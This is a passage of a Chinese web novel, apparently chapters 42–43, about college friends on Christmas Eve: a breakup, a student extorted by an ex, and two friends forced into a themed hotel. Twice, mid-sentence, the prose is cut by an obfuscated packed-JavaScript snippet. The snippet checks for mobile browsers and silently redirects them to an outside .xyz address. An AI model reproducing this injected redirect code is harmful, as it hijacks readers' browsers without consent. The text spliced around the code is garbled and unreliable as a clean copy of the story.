“没人接单。”某款橙色软件显示前方等候人数200人+,预计等待时间两个半小时。 “不行加钱,有没有豪华车型?该死的,人也太多了。”萧楠不耐烦的抱怨,引起旁边人的侧目。 “有钱还打什么车?少爷不是应该有管家派车来接,跟我们抢什么。”一对小情侣不满地嘲讽。 陆亦不语,默默勾选上商务车。情况并没要好太多,软件显示前方等待100+,预计等待时长一个半小时。价格筛选起了作用,却不是立竿见影。 “还要等多久?” “最少一个半小时。” 萧楠后悔今天跑来看话剧了。S市的文娱活动不少,其实他们平时很少看演唱会和话剧,主要是嫌人多。 陆亦低着头查地图,两个少年骑车从他们面前呼啸而过,陆亦冲他们喊:“五百块,自行车卖不卖?” “你疯了吗?买自行车干什么?” 萧楠没拦住他,两个少男转了个圈骑了回来,“八百块,一口价。” 钱货两讫。陆亦跨上了冰蓝色的那辆,对像一头丢了猎物的狮子一样焦躁的萧楠扬起了手机。地图软件展示他刚刚的搜索结果——从这里到思旻路有一条小路,骑车最多半小时。 萧楠跨上那辆粉红色自行车,蹬了两下,有点别扭,“大小伙子骑什么粉红色自行车!” “真正的男人才不惧怕粉色。”陆亦笑道。 “那我俩换。”萧楠给了他个白眼。 “谁让你动作慢。” 萧楠无奈地冲陆亦嚷:“死小子,八百块你出啊!” “有本事你别骑啊!”陆亦打了个响指,一马当先向前冲。萧楠跟着他在非机动车道骑行,右转拐进了一条小路——这是一条他从未走过的路,马路很窄,只能一辆车通过;如果两车交会,就得有一辆车让行,自行车只能在旁边蹭着边儿骑。幸好,汽车都往大路去了。他俩把车轮子蹬得飞快。 风从耳边呼啸而过,萧楠觉得自己是在暗夜里翱翔的飞鸟,茫茫然不知道方向,只一门心思往前。 同一片天空下的人类,悲喜却从不相通。 此时此刻,彷佛飘在云端的上帝打了个响指,一瞬间风起云涌,变幻万千。 …… 刘小叶像只受伤的小动物一样呜咽着,轻轻抽泣,她死死地拉着欧祈的衣角,“你要去哪儿?” 欧祈想把衣角从她手里抽走,可她拽得那样紧。于是,他转过身,把刘小叶紧紧攥着的手指一个个地掰开,用的力气不大却很坚定。 她的脑子里有一个飞速旋转的瓶子,一片电光火石中,瓶子停了下来,瓶口对着欧祈,瓶底对着她。 “欧祈,你是不是不喜欢我了?” 她一直认为就算全世界的人不喜欢自己了,欧祈也会是例外。 但毫无征兆的,这个问题就从她的脑子里滑到嘴边。 他顿住了,没有回答。他把手插进口袋里,紧紧地捏成拳头。 “外面太冷,你赶紧回去吧。” 刘小叶倔强地站在原地,鼻子冻得红彤彤的,一动不动。 欧祈轻轻叹了一口气,“我送你回学校。” 许苑薇一个人坐在地毯上,推了推挂在鼻尖上的眼镜,自言自语:“明明曾经是多么甜蜜的一对儿啊。” 她默默掏出手机,对着那条消息发呆——“不管多晚,我都会等你。”——她不知道自己是不是做了明智的选择,茫然无措。就像任何一个刚刚遭逢了感情的少女那样,她既感觉甜蜜,却也感觉哀伤。 一口接着一口啜着杯子里的酒,她尝不出葡萄的芬芳,酒气也微薄。反而是茶味,萦绕在唇齿之间,愈发浓郁。是酒还是茶?是真还是假?其实,她分辨不出。 许苑薇环顾四周,看似唯一的清醒者,内心乱成一团。周小西脸色酡红,蜷缩着侧卧在地毯上,看上去已经醉了;李离趴在她旁边,好像在数她的睫毛;陈梦晓两手撑在地板上,仰头望着天花板,不知道在想什么。她不能和任何人倾诉,她们大概会骂她吧?她一遍又一遍地看那条微信,鬼使神差回复:“太晚了,你别等了。” 刚发出去,又犹豫要不要撤回。在来回拉扯之间,已经过了撤回时限。 很久之后,她收到了回复,“刚刚睡着了,你也早点休息。” 凌晨十二点四十分,除了她之外,她们都睡着了。三个人挨着,陈梦晓侧躺着,正面对着周小西,胳膊搭在她脖子上;李离歪在周小西右边,头顶着她后背。几个人睡得很沉,对许苑薇的手机提示音没有反应。她踌躇着把手机摁在了身下。 外面又黑又静,许苑薇打了个激灵,仿佛虚空中有毛茸茸的触角碰了她一下,瞬间皮肤上立起了细密的鸡皮疙瘩。她感到一种深深的从未感受过的心境,仿佛世界这么大,却只有她一个人,空旷而寂寥。 这究竟是什么呢?她懊恼自己词汇匮乏,所有浮现在脑子里的话语全都词不达意。 一番苦思冥想,突然一个词语击中了她:是的,是孤独。她在这一刻,深刻而真切地感受到了孤独。从未在她的人生字典里出现的这个词,在这一刻,生动且强势地占据了她的一切感官……孤独和寂寞可怕吗,见仁见智。有时候,它们是让人做出错误选择的推手。 “我们……跨年夜见。”许苑薇从身下摸出手机…… 郑筱从打工的商场出来,天已经黑透了。细碎的微尘悬浮在昏黄的路灯下,远远望过去,像碎雪。 已经十二月底了,初雪仍不见踪影。 到最近的公交站抄小路只要五分钟,可那条路上路灯间隔很远且失修昏暗,郑筱不敢走。她一路快走,穿过喧闹的大街,年轻的人们,快乐得那么明显。 没有下雪,可从四面八方吹过来的风很凉,吹得她脸颊生疼。郊区的温度从来都比市区低两三度。今天赶着去兼职,她随手抓了件外套就出门了,连围巾都忘了裹。现在身上只穿了一件单薄的大衣,郑筱边走边发抖,觉得自己要冻死在这个冷冽的冬夜了。 经过路边的奶茶店,她停住了,很想买一杯奶茶暖一暖。她跺跺脚,哈出来的气在面前凝成白雾。 郑筱把手插在大衣口袋里,用冻得麻木的手指捏住了自己薄薄的钱包,里面是今天打工赚的两百块,她捏紧那两张纸币,生怕它们长出腿来,从她的钱包里跑出去。 前面只有两个人在排队,她踌躇了几秒钟,还是走开了。她告诉自己,再不走就赶不上末班车了。为了省钱,她要转两趟公交车。先从郊区乘车到市区,再从市区换乘到郊区。从北到南,横穿整个W市。 她靠在公交车的窗边,看着外面灯光变幻,从光秃秃的荒凉进入流光溢彩的闹市,渐渐褪去光晕,陷入沉静的黑暗。她到现在还没吃晚饭,打工的商场里人多了不少,更别提市区了。餐馆在平安夜人满为患,几乎所有的店铺都要排队,而且价格很贵。她思忖了很久,决定还是去学校后门的夜宵摊买点吃的。 一下车,她打了个寒颤。深深吸了口气,寒冷的空气迅速充满了她的肺部,她忍不住咳了起来。 公交车停靠在离学校正门五百米处,去学校后门要走十五分钟。 她朝后门走的时候,公交已经掉头回去了——幸好,赶上了末班车——铭盛的新校区偏远得连公共交通都稀缺,过了九点就只有这一趟车。听说市区的商场延迟关门,幸好她工作的地方没有那么大的客流量,不然她大概就回不来了。 郑筱呼出一口气,为自己忍住没买奶茶庆幸,羞愧一扫而光。仿佛她原本就是因为赶时间不消费。 远远望见学校后门时,她不由加快了脚步。再过一会儿就能吃上热腾腾的汤面,兴许还能再吃根羊肉串。想到肉串,她咽了咽口水,想象中孜然的味道在口腔里不断怂恿唾液分泌。这是她对自己小小的奖赏。 一到学校后门,郑筱傻眼了。原先热闹甚至有些嘈杂的后门安安静静,大部分摊贩没出摊。大约摸知道像这样的日子,没有多少生意可做。只有一个老奶奶还在摆摊,她的小推车上一边架着炉子,一边是简易的木板搭起来的工作台,一个扁扁的竹编簸箕上搭着一块白布,一角露出包好的馄饨。 ——有馄饨吃也不错。郑筱安慰自己。 “姑娘,今天是不是你们小年轻过什么节?” “嗯?”她愣了愣,“哦,是平安夜。” “老啰……搞不懂这些。没人出摊,我还以为今儿生意会好。” 郑筱顺着她指着的方向看过去,最最角落的一个位置,“我平时摊支在那儿……” 那里是离图书馆最近的一个角落,可从东门走过来就绕了一大圈,除非是冲着吃馄饨,否则走到那里基本上也吃饱了。 昏黄的街灯从茂密的柏树林里透出来,拖着长长的树影,沿着图书馆向着校门延展。郑筱望着幽深的小径,脑子里浮现出刚开学不久和寝室人一起去图书馆的情景。 “今天看来是没生意啰,给你煮完这碗我就收摊了。”卖馄饨的老奶奶见她在寒风中打着哆嗦,叹了口气:“姑娘,你穿得太少了。爱漂亮年纪大了要吃苦头哦。” 她往锅里多扔了几只馄饨,“多吃点,看看你那么瘦,爹妈看见了得多心疼啊。” “谢谢。” 郑筱眼眶热热的,很久没人关心过她是否穿得暖吃得饱——她爸妈又在闹离婚——或许破碎过的东西是不可能恢复原样的。 馄饨还没开锅,氤氲的雾气在周围漂浮着,头顶上黄澄澄的灯光,既温暖又温柔。温柔,这个词离她的生活很远了,她想起曾经有个男生对她说过“你值得被温柔对待”,那个男孩子去哪了呢?她努力想,才想起来自从她跟顾宇混在一起之后,所有男孩子都不敢再靠近她,而那个小男生被顾宇打断了胳膊。 甩甩头,自怨自艾的情绪对她来说是最无用的。卖火柴的小女孩冻死在平安夜,可她想好好活着。 老奶奶揭开锅盖,撒了一把葱花进去,她深深吸了一口香气,饥肠辘辘。她想赶紧回到宿舍里,打开暖气,把这碗冒着热气的馄饨塞进冰冰凉的胃里。 “多少钱?”她从大衣口袋里掏出手机,小摊上好像没有看到支付二维码。 老奶奶迟疑了下,“小姑娘,你……有现金吗?”她用手指一指郑筱的手机,“这东西……我不会用。” 幸好身上有结算的工资,她掏出钱包,抽出一张一百元,递给老奶奶。 老奶奶为难地搓了搓手,“小姑娘,大钱……我找不开。” “可我也没有零钱。”郑筱咬了咬嘴唇,缓缓地说:“算了,我不要了。” “别别……”老奶奶急了,她四处张望,希望能有人能帮她解决找零的困境。 郑筱有些不忍心,可她实在又冷又饿,没有多余的同情心分给别人。 老奶奶把锅盖掀开,馄饨已经煮好了。空气里飘着浓郁的香味,郑筱咽了下口水。 ——我可以回宿舍煮泡面; ——可馄饨都已经煮好了…… 老奶奶眼巴巴地望着她。 一番人神交战。最后,她跑到附近的小店把钱破开,把钱付给了老奶奶。 老奶奶感谢了她一遍又一遍,打了个鸡蛋进锅,“小姑娘,你等等,鸡蛋不收你的钱。” 一碗馄饨八块钱,天寒地冻,老奶奶穿得也不厚实。 一天站柜台两百块,好歹在室内,有空调,不冷。 郑筱轻轻叹了口气,她深深地同情像这个老奶奶这样在结水成冰的冬夜里讨生活的人,正如她同情自己一样。 “小姑娘,你在这吃还是带走呢?” 郑筱打了个哆嗦。零零星星的几张桌子凳子,在萧索的冬夜里显得更加寒酸。 “帮我打包吧,谢谢。” 她正准备把手机塞回口袋,屏幕上弹出来一条消息。她感觉像被蝎子蛰了一下,手机哐当掉到了地上。是顾宇的短信!不用看,她也知道,肯定是问她要钱。 郑筱魂不守舍接过老奶奶递过来的馄饨。 老奶奶帮她捡起手机,在自己的围腰上擦了擦,颤巍巍地递给她,她往后退了一步。 “你这姑娘是怎么了?”老奶奶把手机往她手里一塞,她木然地接住了。 “这电话贵吧。可要拿好了,别丢了。” 老奶奶盯着她看了看,把手机从她手里薅下来,放进她大衣的右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997377|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口袋。 郑筱不知道自己是怎么从后门一路走到宿舍的,她走到宿舍楼下的时候,蜡烛早就熄灭了,烧得长长短短参差不齐,孤零零地立在寒风里。 她浑身冰冷,一手拎着小馄饨,另一只手捏着拳头。那条短信要逼疯她,她整个人如同坠在冰窖里。就算她不配拥有一个如童话一样美好的平安夜;但至少,也不要坏成这样。 ——盲目地给笑靥如花的女孩子试口红颜色; ——冷眼旁观因为没有收到喜欢的礼物而嗔怒的学生妹; ——羡慕收到一整盒口红礼盒,绽放出开心笑容的白领; 她不停地拿取货物,摆出制式化笑容,跟她们说,挑选的口红有多么衬她们的肤色。忙碌,在那一刻是极好的。她可以借此来忘记自己需要面对的窘迫。 郑筱抬起头望着面前的宿舍楼,除了零星的几个窗户里透出灯光,其余的全都藏在墨色一样深的黑暗当中,包括她宿舍。她们……是去外面庆祝圣诞了吗?应该还没回来吧? 浑浑噩噩中,唯一让她觉得温暖的是还冒着热气的那碗小馄饨。她把馄饨捧在手上,已经不像出锅的时候那么烫了,拿来暖手刚刚好。 “我回宿舍吃完馄饨,再好好睡一觉,一切都会过去的”。郑筱哆哆嗦嗦地往楼梯走去。 那个噩梦一样的专属铃声响起来时,她狠狠地打了个寒颤。自从上次接了顾宇的电话,她给那个号码设了铃声,这样就不会误接——别的女孩子设专属铃声是甜蜜的,而她设的是索命的符咒。 电话响第三遍,她狠狠地咬了下自己的嘴唇,以豁出去的心态按下了接听键。 “我还没收到钱。”电话一接通就传出顾宇不耐烦的声音。 “别逼我,我没钱了。”郑筱的牙齿上下打颤,一半是因为寒冷,一半是因为害怕,“我上哪里弄那么多钱? “那我可管不着。”顾宇毫不在乎地说:“出去卖吧,你出去卖的话肯定能卖个好价钱。” 郑筱的手指扣着掌心,止不住颤抖,如果顾宇在她面前,她想自己会忍不住一刀捅死他。 “顾宇,你听好了,我不会再给你钱。”郑筱的声音里带着颤,“我不欠你的,是你欠我的!”她几乎不敢喘气,怕一喘气勇气就会溜走,“就我俩那点破事儿,你愿意跟谁说就跟谁说,你一个烂泥混混通缉犯,看看谁会相信你!” 电话那头没声响,像是愣住了,过了几秒钟,顾宇恶狠狠地说:“郑筱,你好样的!你等着!”啪嗒一声,电话挂断了。 感觉全身的力气被抽空了,她再也站不住了,一下瘫坐在烧尽的蜡烛旁边,捂着嘴哭了起来。她想大哭一场,可她不敢,谁知道暗夜中有没有人窥视,又会有什么样的谣言传出来。“英语系的系花在圣诞夜被甩了”,她能想象别人躲躲闪闪窃窃私语讨论她的情形。她压低声音,眼泪从眼眶里滚出来,掉在右手上,滚烫灼人。 远远的,有人朝这边走过来了,两个人的说话声越来越近。她躲进了黑暗里。 “你上去吧。我走了。” “你还没有回答我的问题。” “我不想被人当猴子一样耍着玩儿。” 听上去像一对小情侣在闹别扭,郑筱不关心这些人为什么争吵,只希望他们赶紧吵完。他们的烦恼不过是一些鸡毛蒜皮的小事:男孩子多看了别的女生两眼;女孩子花了太多钱,这个月生活费捉襟见肘;女孩子觉得男孩子不像以前那么爱她…… 那两个人越走越近,郑筱听出了刘小叶的声音,“他们不是那个意思。” “我现在不想跟你讨论这个问题,我不想吵架。” 轻轻的抽泣声。 “欧祈,我哪里做得不好,你告诉我。我改,我一定会改的。” 有人叹了口气,“很晚了,回去睡觉吧。” “你是不是嫌我胖?我会好好减肥。”拖着哭腔的女声,“我不要分手。” “你别多想,我只是……最近太累了。” 郑筱心下一跳,来不及擦眼泪,悄悄挪到了楼梯下面,蹑手蹑脚回到了宿舍。 宿舍里一个人都没有,只有圣诞树上挂着的彩灯不间断地闪烁着,提醒她其他人都在欢畅庆祝节日。 郑筱把馄饨放在桌上,打开包装——馄饨已经不烫了,正适合吃,可她没了胃口。 没有开灯,她拽着窗帘向外望。路灯下刘小叶和欧祈面对面站着,刘小叶背对着她,看不见她的表情,只见她的肩膀上下耸动,好像在哭。 郑筱盯着他们拖得长长的影子,想象着影子一点点越过光亮,将他们两个人包裹在里面。 …… 欧祈站的位置是他以前一直来送早餐的地方,眼下他的眼睛发红,头发有些凌乱,看上去不再是那个青春温暖的少年。周遭一层冰冷而疏离的空气,将两个曾经相爱的人隔开。 刘小叶有点害怕,她从来没见过这样的欧祈。 “你不要不理我。”她伸出手去拉他的衣角,小心翼翼,怕他再甩开她的手。 “我今天心情不好。”欧祈抓乱了头发, “你回去睡吧。” 刘小叶揉了揉眼睛,“那明天你会找我吗?猪……” 欧祈的不耐烦一闪而过,曾经亲密的昵称滞留在了刘小叶的嘴里。 “我明天要交立体构成的作业,等考完试我们见面,好不好?” 刘小叶扯出一个比哭还难看的笑,“你说的,不能反悔……那……你好好复习。” “嗯。” 刘小叶走到三楼的走廊上,像往常那样向楼下看。欧祈没有像以前那样冲她挥手告别,他已经走了很远,只能模糊地看到他的背影在昏黄的路灯下拉得很长。 他只是最近太忙了,刘小叶安慰自己。 郑筱哗啦一下拉上了窗帘。她在刘小叶走进宿舍的前一刻回到自己的房间,依旧没有开灯,屏住呼吸听外面的声音。其实,她不知道自己期待什么,也许是激烈的争吵,歇斯底里的撕扯,哭天抢地的嚎哭……似乎只有别人的不幸和痛苦才能舒缓她的疼痛,可门外面寂静得像座孤坟。 在门后站了一会儿,她趴在门缝向外看,刘小叶不在客厅里。她放轻脚步走了出去,在彩灯的闪烁中听见悉悉索索的声响,脚下一道光线从浴室透出来。她踮起脚向里面窥视。刘小叶趴在马桶上,头发盖在脸上,一阵呕吐之后,她从喉咙里挤出一点声响,像一条离开水几天的鱼,抽动了几下后失去了活力。 郑筱蹑手蹑脚地退回自己的房间里,脱掉外套,合衣躺上床,拉过被子,盖住自己的头。她说不清楚自己的心情——她本该同情刘小叶,可她并没有。相反,她的痛苦对她来说像养分。郑筱有一种隐秘的快慰感,因为她不是唯一遭受痛苦的人,本来欢声笑语快乐的人当中,有人和她一样正在遭受着痛苦。 她准备翻个身睡去时,外面响起了手机铃声。她拉开被子,听见刘小叶嘟嘟囔囔地说了一堆之后挂断了。过了几秒,刘小叶的电话又响了。这一次,铃声响了很久,却没有人接听。 郑筱把被子再次拉过头顶,把自己裹成一个蚕蛹。她侧过身体蜷缩着,攥着被子捏紧了自己的拳头…… 42. 第 42 章 凌静宜看着一直傻笑的叶翔,“我要回去睡觉了。” 午夜的大街上行人寂寥,过了十二点,狂欢的人群渐渐散去了。喧嚣的热闹退却,满街的年轻情侣们开启了私密的狂欢,圣诞节酒店生意兴隆,和情人节不相上下。 叶翔紧紧攥着凌静宜的手,他突然讨厌起这栋房子只有三层,从顶楼到客厅的路程太短了。他尽量慢慢往下移动,生怕一眨眼就失去了两人的独处时间。 “这么晚了,你回哪儿睡?”叶翔脑子没转过弯来。 凌静宜歪着头望着他,手指一下又一下戳着他的胸口,“你家这么大,可别说连几个客房都没有。” “怎么会?!”叶翔提高了声音,“二楼有五个房间,三楼有六个房间,除了一个书房,其余房间你都可以住。” “不刨除你的房间?”凌静宜故意打趣。 叶翔脸红透了,他局促地说:“如果你想一起睡……我没意见。”说到后面,他的声音小得像蚊子叫。 “什么一起睡,我是说,我-自-己睡你的房间,你睡别的房间。” “当然可以。你住我的房间,我住客房。” “跟你开玩笑的啦!我住客房就行了。” 这时,他们突然后知后觉地反应过来,“糟了,她们睡哪儿了?” 他们匆忙回到客厅,入眼就是横七竖八躺在地毯上的几个人。灯还开着,她们竟然能睡着。 “要不要叫醒她们?”叶翔轻声问。 凌静宜走上前,拍了拍周小西的脸颊,轻轻说了什么,没有反应。她摇摇头,“让她们睡吧,横竖也叫不醒。” 关灯,上楼,一个左转,一个右转,互道晚安。只是,他们各自躺在床上,一个安然入睡,一个思绪翻涌。 夜,既深且静。 …… 迷迷糊糊间感觉有人拍了拍我的脸颊,让我去床上睡。可我不就躺在床上吗?我睁开眼睛,周遭一片黑暗。 我蜷缩着,李离的若有似无如梦呓一般的声音从身后传来,断断续续,我听不清楚她在说什么,大概是梦话。翻了个身对着天花板,继续晕眩,白色的天花板和透明的水晶灯在头顶上不停转动。李离不再说话,万籁俱寂,像幻觉像梦境,我想搞清楚自己是醒着还是做梦,可眼皮很重,意志屈从于身体,脑子里乱哄哄,梦境却意外清晰。 李离告诉我,她这段时间过得很不开心。清大不像铭盛,超过一半学生是本地人,还有一些所谓的赞助生。本地人有地域优越感,赞助生都很有钱的富二代。她宿舍里其余三个人,两个本地人,一个赞助生,她根本融入不了她们的圈子。圣诞节前,赞助生邀请了另外两个女生去她家,唯独没有邀请她。 李离问我:“小西,你说我要不要退学复读?转专业不知道能不能换宿舍,好像转专业挺麻烦的。” 我不知道为什么没有回应她,她没再说话。 …… 萧楠和陆亦到达叶翔家的时候,别墅前面散落了一地烟花碎屑,昏黄的灯光透过周围的树木映照在纯白色的墙面上,平时并不显眼的那些颗粒状的小凸起纹路仿佛一瞬间苏醒了过来,在灯光下望着他俩。过了十二点,灰姑娘的马车变回了南瓜,车夫打回原型回老鼠洞睡觉了,王子还有那只水晶鞋证明这不是一场梦,他们只有一地烟花残骸见证错过。 屋子里漆黑一片,看上去聚会早已散场。 萧楠默默地对着漆黑的窗口,掏出手机看叶翔打电话给他的时间——那时候才刚刚开场没多久,看剧静音是一个好公民的基本素养。其实,中途他看了一眼手机,萧楠现在很后悔——做什么有素质的公民!! 由于拥堵的路况,红绿灯系统失灵,地图显示的半小时路程,他们足足骑了一个多小时。 “你说他们会去哪儿?”陆亦发问。 萧楠想都没想,“这么晚了,要么就是回学校了,要么就是借宿叶翔家。” “如果你约到了周小西,舍得在宿舍关门前把人送到学校?” 他俩对视了一眼,继续给叶翔打电话。叶翔有两个号码,有一个是紧急情况才能拨打的,萧楠拼命打那个号码。现在这情况,怎么不算十万火急呢?! 电话是通的,然而没人接。他们两个人来回踱步,对视后摇了摇头。 “睡什么睡?!叶翔是猪啊,良辰美景,他怎么能睡得着?!”萧楠破口大骂。 “这小子,有异性没人性。”陆亦也忿忿不平。 萧楠和陆亦在大门口徘徊了几分钟,不甘心地又打了几次电话,还是没人接。 “以后让叶翔换密码锁!”萧楠愤慨。 “今晚睡哪儿?”陆亦闷闷不乐。 他们俩肩并肩走向思旻街。外面街上人很少,只有两三对依偎在一起的小情侣。 “前面有个酒店。”萧楠拖着脚步往前挪,“都怪你!我的屁股好像磨破了……” “我扶你。”陆亦忙不迭上手搀扶。 他俩没注意,经过他们身边的小情侣快速瞄了他们一眼,压低声音议论,神色古怪得很,手拉手飞快地跑开了。 陆亦扶着萧楠找到了第三家酒店,萧楠黑着脸说:“如果这家再没房,我们就要睡马路了。” “不行打个车去你家。”陆亦不理解,又不是没地方住。 “我没带钥匙。”萧楠黑着脸,现在后悔的事情又多了一件:为什么当时不换密码锁。 “备用钥匙在叶翔那。”他补充道。 陆亦的脸也黑了。 圣诞夜酒店的火爆程度堪比情人节,附近的酒店全都满房,整个城市都冒着恋爱的酸臭味。 “我走不动了。附近还有几家酒店,打电话问问有没有房。再这么找下去,我要挂了!” 离他们一公里内有家五星级酒店,只剩下总统套房,价格比平时翻了两倍不止,接近一万块。 “要不我们奢侈一把?”萧楠咬着牙建议,牛仔裤磨得他想发脾气。 陆亦指着前面一家看上去像汽车旅馆的酒店说,“不然,我们将就一晚上。” 他们走进那间廉价酒店,昏暗的灯光摇曳,像被撕裂的时间一样摇摇欲坠。 前台小哥低着头翘着手指在自己的手机上不停地左滑右滑,停顿一会儿用食指敲击。他一直低着头,只能看见酒红色的头发,应该刚染没多久,还没有长出黑发。 萧楠敲了敲桌面,说要个双床房,小哥很不耐烦地回答,“没有,我们酒店只有大床房,圆床房和水床房……哎呦,都来我们酒店了,还装什么装。” 他抬起头来,露出一张经过精心修饰的面孔:修剪得十分整齐的眉毛,描着深棕色眼线,下颚线条柔和。穿黑色丝绒的衬衫,开了三颗扣子,露出白皙的胸膛。 看见两个男生,他的嘴角浮出玩味暧昧的笑容,语气转为柔和,带着一丝娇媚,“小帅哥,有什么不好意思的。我懂的。” 萧楠的眼睛里要喷出火了,转身想走。 前台小哥倒是毫不在意,他盯着自己纤细白皙的指头,悠悠然地说:“前面来的那对小情侣大概跑了十几个酒店了,今天这日子,能住上酒店都是祖宗积德了。我们这儿也只剩下一间房了。要不要住,你们自己考虑吧。” 陆亦拉住即将爆走的萧楠,“我们要了。麻烦带我们去吧。” 小哥飞着眼睛盯着萧楠,“身份证。” “没带。”萧楠没好气地说。 小哥眼睛滴溜溜转了两圈,胳膊支在柜台上托着腮帮说:“不好意思哦,这是我们的规定。不登记身份证是不能住店的。” “我付双倍房价。” 小哥的手指在桌子上画圈圈,“这不是钱的问题。除非…… 萧楠几乎按捺不住想走的冲动,陆亦按住了他,淡定地说:“帮帮忙。”瞄了一眼价目表,随即从口袋里掏出了现金。 “好吧……谁也不想跟钱过不去。”小哥把一半的钱放进柜台,另一半塞进了衬衫口袋。 “跟我来吧。”他扭着妖娆的腰,带他们穿过一条长长的镶满玻璃的走廊,地面漆成了墨绿色。 萧楠努力克制分分钟想逃走的冲动,他心里吐槽,“这么糟糕的审美,真让人不能忍受。”也许是噱头,希望房间没这么糟糕,他只求给他一个简单朴素能睡觉的房间。 陆亦紧张地盯着萧楠,生怕这位祖宗闹脾气说什么都不住了。 打开房间门,墙上大幅的外国情调油画,心形顶灯,暧昧昏暗的红色灯光,橙红色窗幔,一张圆形大床上铺着玫红色的床品,再配上一面刷成墨绿色的墙,透出诡异的色彩斑斓。 萧楠悬着的心彻底死了,就不该对这个酒店老板的审美抱有任何幻想。 “卫生间里有双人按摩浴缸,按这个开关就能打开香氛系统。”小哥靠在门边框上,看似对这个房间很满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997378|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,他对萧楠抛了个媚眼,“你们运气真好,绝对物超所值。” “一个汽车旅馆,搞这么多花头干什么。”萧楠实在没忍住,翻了个白眼。 “我们是情趣酒店……情趣,懂不懂?!” 萧楠连吐槽的力气都没了,实在想不明白这些酒店所谓的情趣是基于什么恶趣味。 “祝你们有个愉快的夜晚。”小哥的目光非常贪婪地在两人身上逡巡了两圈,依依不舍地走了,“有需要可以打前台电话,虽然……不保证有人在。” 他们关上房门的一瞬间,听到走廊里一个年轻女孩子的声音,“Roger哥,刚刚那两个男生都好帅哦。你能帮我要电话吗?” “死丫头,你别想了。姐姐我还有机会。我猜那个穿皮外套的是1,是人家喜欢的类型呢。” 萧楠和陆亦一脸黑线。 所幸墙壁和门窗的隔音效果还不错。折腾了一晚上的两个人没有心情说话,萧楠满脑子里想的是今天是多么糟糕的一天,陆亦刚刚看到手机上的微信消息,“谢谢你的花,很美”,瞬间觉得今天值了。他把手机捧在胸口进入了梦乡。 第二天一早他们去退房,接待他们的是一个大概十七八岁的女孩子,脸圆圆的,眼睛也圆圆的,笑起来露出一颗尖尖的虎牙,看上去像只无害的小花猫。 “我们老板让我把这个给你。”虽然不认识人,这个声音却很熟悉,是昨天走廊里想要电话的那个姑娘。她手里举着一张卡。 萧楠和陆亦交换了下眼神,“你们老板?” “Roger哥,就昨天接待你们的那个。”她又笑了笑,“他人很好的。” 然后,她小心翼翼地问:“你们……真的是一对啊?”眼神透出既八卦又惋惜的光芒。 萧楠无奈且气急败坏,脸色很臭。他知道,在这种情况下,解释和不解释都没什么意义。 陆亦则回了个微笑,“你觉得呢?” “我猜……不是吧。”女服务员把卡递到陆亦面前。 “这是什么?” “我们的VIP卡,下次你们来可以免费升级套房。” 萧楠翻了个白眼,“不需要。” “有没有什么别的权益?譬如优先订房什么的。”陆亦问。 “有的有的。”女服务员忙不迭点头,“VIP卡有插队服务。” 陆亦在萧楠质疑的注视下接了卡。 女服务员掏出手机,转向萧楠,怯生生地问:“那个……我能加你个微信吗?” 萧楠继续黑着脸,“不方便。” 女服务员讪讪收回了手机。 他们还没走出门口就听见Roger的声音,“我就说你要不到微信吧?!他们要是直的,会平安夜出来开房嘛?” 萧楠恨恨地瞪了陆亦一眼,“你要那张破卡干嘛?还嫌不够晦气。” “天有不测风云。”陆亦慢条斯理地说,“有备无患,免得再碰到昨晚那种情况。” 他们当然不会想到,这并不是本年度圣诞节最让他们憋屈的事情。 萧楠正在抱怨昨晚的破床太硬了,硌得他背疼,叶翔打来了电话。 “你昨晚死哪儿去了?”没等他开始倾诉昨天的不幸,电话里就传来了叶翔欢快的声音,“在哪儿呢?出来庆祝下。” 萧楠一脸狐疑外加气愤,“有什么值得庆祝的?” “当然是庆祝我结束单身!” 叶翔意气风发,声音轻快得像一只飞出笼子的小鸟,“等会儿发你地址。我给陆亦打个电话。” 等等!他刚刚听到了什么?! 这才是来自新年的第一枚原子弹,果然上岸之后第一剑,不是斩向意中人,必然就朝兄弟劈。 萧楠震惊得呆住了,他有一堆的问题要问,叶翔没给他机会,麻利地挂了电话。 “是他疯了还是我疯了?”萧楠看向陆亦,错愕且凌乱。 陆亦没答话,电话响了。一模一样的语气,一字未改的话术,叶翔又向陆亦炫耀了一遍。 萧楠咬牙切齿,想扑过去咒骂他,叶翔继续嘚瑟,“哎呀,不跟你们说了,我还得给我家小静点早餐呢!你俩来了再细聊。”啪嗒,电话挂断。 毫不怀疑,他纯粹就是来炫耀的。 陆亦拦住想打电话回去骂人的萧楠,示意他地址发过来了。 餐厅离这里大概半小时,两人二话不说伸手拦出租车。 43. 第 43 章 我醒过来时,有一瞬间的愣神。脑海里盘旋着人类三大哲学问题:我是谁,我在哪儿,我要做什么。 李离目瞪口呆地看着已经化完整妆的凌静宜,一脸不可置信地问我:“现在几点?” 现在,东八区时间,十二月二十五日早上九点。 除了凌静宜之外,我们几个也维持了自己一贯的水准:主打一个能见人就行。囫囵吞枣地刷牙洗脸,一个个头发凌乱,眼神迷离。 更难以置信的是,叶翔居然已经走了。他这是多不把我们当外人,难道不怕我们集体把他家搬空吗? “所以你们不一起过圣诞节吗?”许苑薇一脸震惊。 “都一起过平安夜了,还一起过圣诞节,也太腻歪了。”凌静宜云淡风轻地说:“任何人之间,都要保持适当的距离和分寸感。” 